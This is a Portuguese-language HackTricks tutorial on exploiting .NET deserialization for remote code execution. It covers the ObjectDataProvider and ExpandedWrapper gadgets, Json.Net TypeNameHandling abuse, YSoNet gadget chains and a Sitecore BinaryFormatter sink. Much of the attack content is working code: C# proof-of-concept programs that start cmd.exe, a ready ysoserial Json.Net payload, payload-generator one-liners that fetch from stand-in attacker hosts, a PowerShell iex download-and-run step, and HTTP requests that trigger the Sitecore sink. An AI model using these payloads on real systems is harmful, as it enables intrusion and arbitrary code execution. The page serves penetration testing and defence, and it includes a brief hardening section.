Deserialização .Net Básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta postagem é dedicada a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de Serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Pois é, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite encapsular um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários, e então usar MethodName para chamar uma função arbitrária do objeto arbitrário declarada usando os parâmetros arbitrários.
Portanto, o arbitrário objeto irá executar uma função com parâmetros enquanto é desserializado.

Como isso é possível

O namespace System.Windows.Data, encontrado dentro do PresentationFramework.dll em C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, é onde o ObjectDataProvider é definido e implementado.

Usando dnSpy você pode inspecionar o código da classe que nos interessa. Na imagem abaixo estamos vendo o código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Como você pode observar, quando MethodName é definido base.Refresh() é chamado, vamos dar uma olhada no que isso faz:

Ok, vamos continuar vendo o que this.BeginQuery() faz. BeginQuery é sobrescrito por ObjectDataProvider e isto é o que ele faz:

Note que no final do código ele está chamando this.QueryWorke(null). Vamos ver o que isso executa:

Note que este não é o código completo da função QueryWorker, mas mostra a parte interessante dela: O código chama this.InvokeMethodOnInstance(out ex); — esta é a linha onde o método definido é invocado.

Se você quer verificar que apenas definindo o MethodName ele será executado, você pode rodar este código:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Usando o exploit anterior, haverá casos em que o objeto será desserializado como uma instância ObjectDataProvider (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando GetType). Nesse caso, não terá conhecimento do tipo de objeto que está encapsulado na instância ObjectDataProvider (Process, por exemplo). Você pode encontrar mais information about the DotNetNuke vuln here.

Esta classe permite especificar os tipos de objeto dos objetos que estão encapsulados em uma dada instância. Portanto, esta classe pode ser usada para encapsular um objeto fonte (ObjectDataProvider) em um novo tipo de objeto e fornecer as propriedades de que precisamos (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Isto é muito útil para casos como o apresentado anteriormente, pois seremos capazes de envolver o ObjectDataProvider dentro de uma instância ExpandedWrapper e, quando desserializada, essa classe irá criar o objeto ObjectDataProvider que irá executar a função indicada em MethodName.

Você pode checar este wrapper com o código a seguir:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na official web page é indicado que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Portanto, se pudéssemos deserialize the ObjectDataProvider gadget, poderíamos causar uma RCE apenas desserializando um objeto.

Exemplo Json.Net

Antes de tudo, vamos ver um exemplo de como serialize/deserialize um objeto usando esta biblioteca:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusando do Json.Net

Usando ysoserial.net criei o exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Neste código você pode testar o exploit, basta executá-lo e você verá que o calc é executado:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

A técnica ObjectDataProvider + ExpandedWrapper apresentada acima é apenas uma entre MUITAS gadget chains que podem ser abusadas quando uma aplicação realiza unsafe .NET deserialization. Ferramentas modernas de red-team como YSoNet (e a mais antiga ysoserial.net) automatizam a criação de grafos de objetos maliciosos prontos para uso para dezenas de gadgets e formatos de serialização.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateCorrompe o registro DelegateSerializationHolder de modo que, uma vez materializado, o delegate aponte para qualquer método fornecido pelo atacante (p.ex. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para bypass .NET ≥4.8 type-filtering e invocar diretamente o construtor de uma classe fornecida ou compilar um arquivo C# em tempo de execuçãoBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourExplora a representação XML legado de System.Data.DataSet para instanciar tipos arbitrários preenchendo os campos <ColumnMapping> / <DataType> (opcionalmente forjando a assembly com --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsEm runtimes com WPF (> .NET 5) encadeia getters de propriedades até alcançar System.CodeDom.Compiler.CompilerResults, então compila ou carrega uma DLL fornecida com -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Usa o WPF System.Windows.Data.ObjectDataProvider para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma conveniente variante --xamlurl para hospedar o XAML malicioso remotamenteBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Incorpora ScriptBlock em System.Management.Automation.PSObject que é executado quando o PowerShell desserializa o objetoPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Todos os payloads são escritos em stdout por padrão, tornando trivial encaminhá-los (pipe) para outras ferramentas (p.ex. geradores de ViewState, encoders base64, clientes HTTP).

Building / Installing YSoNet

Se não houver binários pré-compilados em Actions ➜ Artifacts / Releases, o seguinte one-liner em PowerShell irá configurar um ambiente de build, clonar o repositório e compilar tudo no modo Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

Detecção & Hardening

  • Detecte processos filhos inesperados de w3wp.exe, PowerShell.exe, ou qualquer processo que esteja desserializando dados fornecidos pelo usuário (por exemplo MessagePack, Json.NET).
  • Habilite e imponha type-filtering (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) sempre que o BinaryFormatter / NetDataContractSerializer legado não puder ser removido.
  • Sempre que possível migre para System.Text.Json ou DataContractJsonSerializer com conversores baseados em whitelist.
  • Bloqueie assemblies WPF perigosos (PresentationFramework, System.Workflow.*) de serem carregados em processos web que nunca deveriam precisar deles.

Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) envolve new BinaryFormatter().Deserialize(...).
  • Caminho de gatilho: pipeline convertToRuntimeHtmlConvertWebControls, que procura por um elemento irmão com id="{iframeId}_inner" e lê um atributo value que é tratado como dados serializados codificados em base64. O resultado é convertido para string e inserido no HTML.

Minimal end‑to‑end (authenticated):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: qualquer BinaryFormatter chain que retorna uma string (side‑effects executados durante a desserialização). Veja YSoNet/ysoserial.net para gerar payloads.

Para uma cadeia completa que começa pre‑auth com HTML cache poisoning em Sitecore e leva a este sink:

Sitecore

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks